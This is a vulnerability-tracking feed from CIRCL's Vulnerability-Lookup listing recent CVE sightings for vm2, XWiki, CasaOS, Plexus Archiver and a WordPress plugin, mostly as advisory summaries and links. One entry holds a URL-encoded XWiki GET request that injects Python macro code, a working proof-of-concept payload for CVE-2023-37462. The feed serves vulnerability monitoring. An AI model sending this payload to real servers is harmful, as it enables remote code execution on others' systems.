https://vulnerability.circl.lu/sightings/feed 2026-07-30T03:34:52.719877+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def/export 2026-07-30T03:34:52.739225+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mlicivo2zc2f", "content": "\ud83d\udccc CVE-2026-24120 - vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att... https://www.cyberhub.blog/cves/CVE-2026-24120", "creation_timestamp": "2026-05-10T08:07:08.195096Z"} 2026-05-10T08:07:08.195096+00:00 https://vulnerability.circl.lu/sighting/f96fd294-6858-489b-8f07-600b1931dc60/export 2026-07-30T03:34:52.744006+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "f96fd294-6858-489b-8f07-600b1931dc60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2ckkquyt2l", "content": "\ud83d\udd34 CVE-2026-24120 - Critical (9.8)\n\nvm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24120/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:30:48.671010Z"} 2026-05-04T18:30:48.671010+00:00 https://vulnerability.circl.lu/sighting/7ab01b0b-6f12-47d7-89ba-c295cfbe498d/export 2026-07-30T03:34:52.744149+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "7ab01b0b-6f12-47d7-89ba-c295cfbe498d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3ml2azcq27d2c", "content": "\ud83d\udea8 EUVD-2026-26986\n\ud83d\udcca 9.8/10\n\ud83c\udfe2 patriksimek\n\n\ud83d\udcdd vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-26986\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-05-04T18:03:14.785539Z"} 2026-05-04T18:03:14.785539+00:00 https://vulnerability.circl.lu/sighting/28da94d0-65a8-4ead-9d90-396e111ed345/export 2026-07-30T03:34:52.744262+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "28da94d0-65a8-4ead-9d90-396e111ed345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwrsq2mqaj2y", "content": "", "creation_timestamp": "2025-08-19T21:02:32.392790Z"} 2025-08-19T21:02:32.392790+00:00 https://vulnerability.circl.lu/sighting/21e36b89-b040-493c-9ddd-9e7e3ef72f27/export 2026-07-30T03:34:52.744362+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "21e36b89-b040-493c-9ddd-9e7e3ef72f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://t.me/ctinow/177684", "content": "https://ift.tt/oO9Y4mZ\nCVE-2023-37466 Exploit", "creation_timestamp": "2024-02-01T17:16:30.000000Z"} 2024-02-01T17:16:30+00:00 https://vulnerability.circl.lu/sighting/20745150-4b37-43b0-9502-30e46d38aee0/export 2026-07-30T03:34:52.744462+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "20745150-4b37-43b0-9502-30e46d38aee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3746", "type": "seen", "source": "https://t.me/cibsecurity/72341", "content": "\u203c CVE-2023-3746 \u203c\n\nThe ActivityPub WordPress plugin before 1.0.0 does not sanitize and escape some data from post content, which could allow contributor and above role to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:07.000000Z"} 2023-10-17T00:32:07+00:00 https://vulnerability.circl.lu/sighting/067f9259-2649-4bdc-a219-6430c8e8cdea/export 2026-07-30T03:34:52.744569+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "067f9259-2649-4bdc-a219-6430c8e8cdea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37462", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/997", "content": "cve-2023-37462 \n\nGET /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view\n\n#poc", "creation_timestamp": "2023-09-03T07:06:43.000000Z"} 2023-09-03T07:06:43+00:00 https://vulnerability.circl.lu/sighting/52e98b0b-dffc-4f87-abde-85732be34f6d/export 2026-07-30T03:34:52.744668+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "52e98b0b-dffc-4f87-abde-85732be34f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37469", "type": "seen", "source": "https://t.me/cibsecurity/69162", "content": "\u203c CVE-2023-37469 \u203c\n\nCasaOS is an open-source personal cloud system. Prior to version 0.4.4, if an authenticated user using CasaOS is able to successfully connect to a controlled SMB server, they are able to execute arbitrary commands. Version 0.4.4 contains a patch for the issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-25T02:13:34.000000Z"} 2023-08-25T02:13:34+00:00 https://vulnerability.circl.lu/sighting/478f1964-ad70-4da3-9210-4646fb946721/export 2026-07-30T03:34:52.744761+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "478f1964-ad70-4da3-9210-4646fb946721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://t.me/cibsecurity/67265", "content": "\u203c CVE-2023-37460 \u203c\n\nPlexis Archiver is a collection of Plexus components to create archives or extract archives to a directory with a unified `Archiver`/`UnArchiver` API. Prior to version 4.8.0, using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the `resolveFile()` function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later `Files.newOutputStream()`, that follows symlinks by default, will actually write the entry's content to the symlink's target. Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. Version 4.8.0 contains a patch for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-26T00:27:22.000000Z"} 2023-07-26T00:27:22+00:00 https://vulnerability.circl.lu/sighting/b80ce4a0-905b-4c6c-a487-45a47c01efd6/export 2026-07-30T03:34:52.744862+00:00 Joseph Lee https://vulnerability.circl.lu/user/syspect {"uuid": "b80ce4a0-905b-4c6c-a487-45a47c01efd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-37460", "type": "published-proof-of-concept", "source": "https://github.com/codehaus-plexus/plexus-archiver/security/advisories/GHSA-wh3p-fphp-9h2m", "content": "", "creation_timestamp": "2023-07-25T07:39:22.000000Z"} 2023-07-25T07:39:22+00:00